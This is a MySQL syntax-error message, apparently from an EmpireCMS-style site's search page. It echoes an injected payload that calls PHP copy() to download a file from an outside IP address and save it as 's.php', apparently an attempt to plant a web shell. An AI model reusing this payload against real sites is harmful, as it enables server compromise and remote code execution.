You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\';copy(\'http://202.165.123.44:8345/s.jpg\',\'..//s.php\');//enewssearch where ' at line 1<br>select searchid,keyboard,result_num,orderby,myorder,tbname,tempid,andsql,trueclassid from ***_enewssearch where searchid='46'